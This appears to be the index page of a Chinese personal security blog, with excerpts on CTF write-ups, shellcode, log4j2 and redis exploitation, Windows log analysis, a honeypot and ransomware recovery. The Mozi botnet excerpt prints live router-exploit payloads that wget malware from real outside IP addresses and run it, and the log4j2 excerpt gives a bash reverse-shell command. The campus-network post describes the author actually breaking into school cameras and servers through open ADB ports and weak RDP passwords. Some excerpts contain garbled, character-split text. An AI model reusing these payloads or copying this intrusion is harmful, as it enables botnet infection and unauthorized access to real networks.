2024 长城杯复盘

2024 长城杯 这次比赛输出感人,属于是一个人拖了后退,但也并非都没好的,起码知道缺哪快营养了 misc 漏洞寻踪,流量解密 需要拿到流量包中的攻击者作为二阶段的密码,但是当时试过了所有对服务器发动攻击的ip都没用,遂一怒之下搓了个脚本遍历出整个网段作为密码进行爆破 import ipaddress def ips(network): net = ipaddress.ip_network(network, strict=False) with open('ips.txt', 'w') as file: for ip in net.hosts(): file.write(str(ip) + '\n') ips('192.168.30.0/24') 力大砖飞 后续查找的时候只在log文件中找到了这个ip,没有在cap找到,也还好没有死磕 第二阶段,黑客通过漏洞点往服务器发送命令,下载了两个文件 http.request.uri == "/ispirit/interface/gateway.php" 过滤.1.5 ip.addr == 192.168.1.5 (事后诸葛亮:我寻思这是个伏笔) 这样就拿到了key和raw key:bdb8e21eace81d5fd21ca445ccb35071 raw:bdb8e21eace81d5fd21ca445ccb350715a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616dbdb8e21eace81d5fd21ca445ccb35071 理论上 通过观察可以看到raw的内容有两个部分是和key相同的即bdb8e21eace81d5fd21ca445ccb35071 5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d bdb8e21eace81d5fd21ca445ccb35071,但好似不死我就是没发现,上面的流量包其实也在暗示。。 题解 web sqlup 登陆页 看到sql第一反应是sql注入,就拿着yakit和sqlmap在跑,但越跑越不对劲,一点报错都没有,然后就想到了爆破,用yakit跑了一个字典得到了 u p s a e s r s : w a d d : m 0 i n 进去后,头像位置有个文件上传,但是过滤字符p,当我还在寻思怎么绕过的时候队友已连上shell了。。。 ...

September 9, 2024 · 1 min · 71 words · neko

shellcode初探索

shellcode初探——helloShellcode 我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是 很遗憾,我就是后者,对于c的理解仅仅存在于hello word,shellcode也是只存在与msfvenom 这次算是我第一次算是认真接触 ShellCode? 机器码? shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的 section .data bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash" section .text global _start _start: ; 调用 execve("/bin/bash", ["/bin/bash"], NULL) xor rax, rax ; 清除 rax mov rdi, bin_sh ; rdi 指向 "/bin/bash" push rax ; 在栈上压入 NULL (argv) mov rsi, rsp ; rsi 指向 argv 数组 push rax ; 在栈上压入 NULL (envp) mov rdx, rsp ; rdx 指向 envp 数组 mov al, 59 ; syscall 59 是 execve syscall ; 触发系统调用 这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步 ...

September 9, 2024 · 3 min · 491 words · neko

校园网突破

校园网突破 简单来说就是内网渗透,除了突破学校网络来上网,还有就是看看能不能拿下更多的设备 出网权限获取 学校的设置是教学区可以使用校园网出网,而宿舍虽然有校园网的选项但是并不能出网,根据之前的上个学期的经验学校的宿舍网络与校园网络是相通的也就是说最简单的方法就是找到一台教学区的设备作为跳板出网,这并不难,去年学校装了不少监控开着adb端口我已经报告了好几次了——你既然不修,那我就来用 随即选择一台幸运设备连接 可以看到是一个标准shell,nmap扫描结果显示开放ssh端口,这就好办了,修改passwd文件手动写入一个用户 在用passwd命令修改密码 这样就拿到了ssh权限,可以做代理了 速度尚可,但是非常不稳定 通过一个rdp弱口令进入了一台服务器,在user下发现了个好玩的 s 原以为是已经被人拿下了 但这不像 供 h 管 应 t 理 链 t 员 p : : a / d / m * i * n * . * * * 密 . 码 * : * * * * . * * * * / x x x / D e f a u l t . a s p x ...

September 7, 2024 · 4 min · 654 words · neko

mozi僵尸网络样本

Mozi.m 数个payload: GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0 20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Netlink.m;chmod%20777%20/tmp/Netlink.m;/tmp/Netlink.m&waninf=1_INTERNET_R_VID_154 HTTP/1.0 POST /HNAP1/ HTTP/1.0 Host: Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://117.253.201.134:42483/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://192.168.1.1:8088/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 GET /shell?cd+/tmp;rm+earm+earm7;nohup+wget+http:/\/154.216.18.196/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\/154.216.18.196/earm;chmod+777+earm;./earm+jaws HTTP/1.1 Host: Connection: keep-alive Cache-Control: max-age=0 User-Agent: KrebsOnSecurity Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 很特别是ua Hello, World ...

August 19, 2024 · 1 min · 200 words · neko

蜜罐的部署与节点部署

蜜罐的部署与节点部署 蜜罐其实有挺多的选择的,这次部署的是比较受欢迎的HFish蜜罐,这次主要是用于后面研究傀儡机的反击 部署完成图片: ![](https://raw.githubusercontent.com/neko205-mx/imgs/master/屏幕截图 2024-08-12 155440.png) 部署方法 我选择的部署方式是在已有的宝塔环境下走docker部署,详细是在这里Docker下载部署 (hfish.net) 在部署好docker后使用 docker run -itd --name hfish \ -v /usr/share/hfish:/usr/share/hfish \ --network host \ --privileged=true \ threatbook/hfish-server:latest 基本上就自动完成部署,需要注意的就是各种防火墙记得放通,或者直接关闭 节点部署 Hfish的节点部署是通过拉取管理端的文件完成的,所以需要节点与管理服务器能够相互通信,节点我用了一台阿里云的轻量服务器,巨辣鸡,之前用它跑bt+博客基本是原地爆炸的状态,但是作为蜜罐节点绰绰有余 root权限运行就好,应该在几分钟内就能看到连接 后续 目前蜜罐总计已经捕获了近万个的ip,这周会在业余时间研究下hfish的api使用来导出攻击者ip与其他工具进行联动

August 12, 2024 · 1 min · 31 words · neko

redis 主从复制RCE

redis 主从复制RCE 主从复制,指代将数据从主节点复制到其他的redis服务器,数据的复制是单向的,只能从主节点到从节点,一个主节点可以存在多个从节点,而从节点下还可以挂载多个从节点从而形成多层的嵌套的树状结构,所有的写操作都将发生在主节点,执行完成后被分发到从节点,如果存在多层则将逐层分发, 简单来说主从节点将镜像主节点的数据 在redis4之后redis新增了模块的功能通过引入外部组建可以在redis中引入新的redis命令,效果类似与mysql的udf 原理上需要两台redis,攻击者控制主机,在实际利用中可以用python模拟 复现 vulhub有redis4的镜像可以直接拉取来复现 但是在复现的时候会卡在runpayload的阶段,尝试其他脚本也是如此 后续也尝试了hareemca123/redis5:alpine镜像,一样的问题,是否有师父知道这是什么问题

August 12, 2024 · 1 min · 10 words · neko

[玄机]windows实战-向日葵

windows实战-向日葵 这题涉及软件漏洞,经过查询发现漏洞应该是CNVD-2022-03672 这个漏洞我用过,也是接触最早的rce漏洞,虽然没有深入研究但是曾经用它拿下过学校超级多的电脑XD 猜测简单来说这个漏洞是因为向日葵在安装后会在高端口开放一个接口,这个接口存在cookie泄漏与命令执行 通 通 通 找 找 过 过 过 到 到 本 本 本 黑 黑 地 地 地 客 客 解 解 P P P 密 密 C C C D D R R R E E D D D C C P P P 到 到 到 文 文 服 服 服 件 件 务 务 务 , , 器 器 器 将 将 并 并 并 黑 黑 且 且 且 客 客 找 找 找 D D 到 到 到 E E 黑 黑 黑 C C 客 客 客 首 攻 托 文 文 次 击 管 件 件 攻 的 恶 的 的 击 意 成 I 程 m m 功 P 序 d d 的 5 5 时 为 I 间 多 P 作 作 为 少 为 为 , 为 为 将 , F F 多 黑 将 L L 少 客 黑 A A , 攻 客 G G 将 击 托 黑 管 提 提 客 I 恶 交 交 首 P 意 ; ; 次 程 通 攻 作 序 过 击 为 本 成 I 地 功 F P 的 L P 时 A 作 C 间 G 为 为 R 提 F D 作 交 L P 为 ; A 到 G 服 F 务 L 提 器 A 交 并 G ; 且 解 提 密 交 黑 ( 客 2 勒 0 索 2 软 8 件 - , 0 将 3 桌 - 面 2 加 6 密 文 0 件 8 中 : 关 1 键 1 信 : 息 2 作 5 为 . 1 F 2 L 3 A ) G ; 提 交 ; 这题现在似乎有点问题,本来有5问的,但是最后两问做不出来,因为群加满了,二群又没有文件 ...

July 27, 2024 · 2 min · 321 words · neko

log4j2复现

log4j工具利用 简单复现 log4j2 java应用常见的开源日志库, jndi JND,一个JAVA的接口用于,能从指定的外部服务器获取并加载对象 简单利用,拉一个靶场 docker pull vulfocus/log4j2-rce-2021-12-09 docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 工具https://github.com/welk1n/JNDI-Injection-Exploit 通过mvn clean package -DskipTests编译后在target中能找到jar文件 反弹shell的常用命令是bash -i >& /dev/tcp/172.17.0.1/2345 0>&1这样的一般会用bash -c "bash -i >& /dev/tcp/172.17.0.1/2345 0>&1"来拿到shell,但这里不行需要用到https://ares-x.com/tools/runtime-exec来编码反弹shell 得到bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i} 工具的使用为 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] -c跟上执行的命令,-A跟上攻击机的ip地址,运行后为 这里jdk7和jdk8的payload在vulfocus靶场都用不了需要使用中间也就是whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):这个条件的payload 即可

July 22, 2024 · 1 min · 58 words · neko

windows 工具化应急响应[未完成]

windows 工具化日志分析 windows的日志与linux不同,linux以文本形式存放于/var/log下,而windows的日志是专有格式evtx遂分析方式也不同于常见linux日志常见由Windows日志查看器Eventvwr开启,也有其他的第三方日志分析工具 windows日志分析重点是事件id,一般分析也围绕着这些id展开,常见id 4624 失败登入 4625 成功登入 4634/4647 成功注销 4648 凭证登入 4672 超级用户登入 4720 用户创建 7036 服务状态更改 APT-Hunter 类似一种格式转化器,使用方式 APT-Hunter.exe -p 文件地址 https://github.com/ahmedkhlief/APT-Hunter 用不惯,但是可以通过他先看到一些基础信息 WELA (Windows Event Log Analyzer) ゑ羅 个人觉得相当好用的一个日志查看器,是一个ps脚本,能将log解析后图形化输出 快速事件统计 ./WELA.ps1 -LogFile .\Security.evtx -SecurityEventID_Statistics .\WELA.ps1 -logfile C:\Users\Administrator\Desktop\log\安全.evtx -SecurityLogonTimeline -OutputGUI -UTC 拿做过的一道响应题举例,这里对攻击者ip与所使用的账户定位都变得非常方便 hayabusa 这个工具应该也是开发ゑ羅的开发者开发的,相比其更加强大

July 22, 2024 · 1 min · 46 words · neko

[玄机]vulntarget-n linux tomcat 勒索应急响应

vulntarget-n 分析攻击事件是如何发生的,请给出攻击画像 解密勒索 恢复原来的index.jsp页面,恢复正常的web服务 找到隐藏在其中的3个flag 入侵事件,先备份命令历史 cat .bash_history >> bash_hi.bak 第一个flag flag{vulntarget_very_G00d} 但没够继续翻日志 跟踪log可以看到服务器这里是tomcat的服务端位于/opt/tomcat/root这里在备份index后又新建了一个,接着跟踪 在根目录创建了一个.vulntarget文件夹,用python生成了一对密钥对,然后拷贝了公钥到根目录用py脚本进行了加密,跟踪来到生成密钥的位置 可以看到私钥没有删除,根据log文件信息也只做了rsa,那只需要写一个脚本解密就好,然后截至到这里遇到了卡住我的第一个点 flag解密是正常的,但相对较长的index与404文件无法正常解密,后续是使用python解决的 import base64 import os import rsa # 定义目标后缀 TARGET_EXTENSIONS = ['.vulntarget'] def load_private_key(key_path): """加载RSA私钥""" with open(key_path, mode="rb") as file: priv_key = file.read() return rsa.PrivateKey.load_pkcs1(priv_key) def rsa_decrypt(file_name, priv_key): """对文件进行RSA解密""" with open(file_name, mode="rb") as file: encoded_data = file.read() try:xin xi data = base64.b64decode(encoded_data) except Exception as e: print(f"Base64 decode error for file {file_name}: {e}") return # 打印解密前的数据块信息 print(f"Decrypting file: {file_name}") print(f"Encoded data length: {len(encoded_data)}") print(f"Decoded data length: {len(data)}") # 存储解密后的数据块 res = [] # 设置每次解密的数据块大小为128字节 chunk_size = 128 # 128大小 关键flag{https://github.com/crow821/vulntarget} for i in range(0, len(data), chunk_size): chunk = data[i:i + chunk_size] print(f"Decrypting chunk {i // chunk_size}: {chunk.hex()[:60]}...") try: decrypted_chunk = rsa.decrypt(chunk, priv_key) res.append(decrypted_chunk) except rsa.pkcs1.DecryptionError as e: # 如果解密过程中出现错误,则打印错误信息并跳过当前数据块 print(f"Decryption failed for chunk {i // chunk_size}: {e}") continue # 跳过失败的块 decrypted_data = b''.join(res) os.remove(file_name) # 去掉后缀 new_file_name = file_name.replace(".vulntarget", "") with open(new_file_name, mode="wb") as file: file.write(decrypted_data) print(f"[+] Decrypt success: {new_file_name}") def decrypt_files_in_directory(directory_path, priv_key): """递归解密目录下的所有文件""" for root, _, files in os.walk(directory_path): for file in files: file_path = os.path.join(root, file) if any(file_path.endswith(ext) for ext in TARGET_EXTENSIONS): rsa_decrypt(file_path, priv_key) def main(target_path, key_path): """主函数""" priv_key = load_private_key(key_path) if os.path.isdir(target_path): decrypt_files_in_directory(target_path, priv_key) else: if any(target_path.endswith(ext) for ext in TARGET_EXTENSIONS): rsa_decrypt(target_path, priv_key) if __name__ == '__main__': target_path = './' # 替换为实际路径 key_path = './key.pem' # 替换为私钥路径 main(target_path, key_path) 使用了分块解密 ...

July 13, 2024 · 2 min · 242 words · neko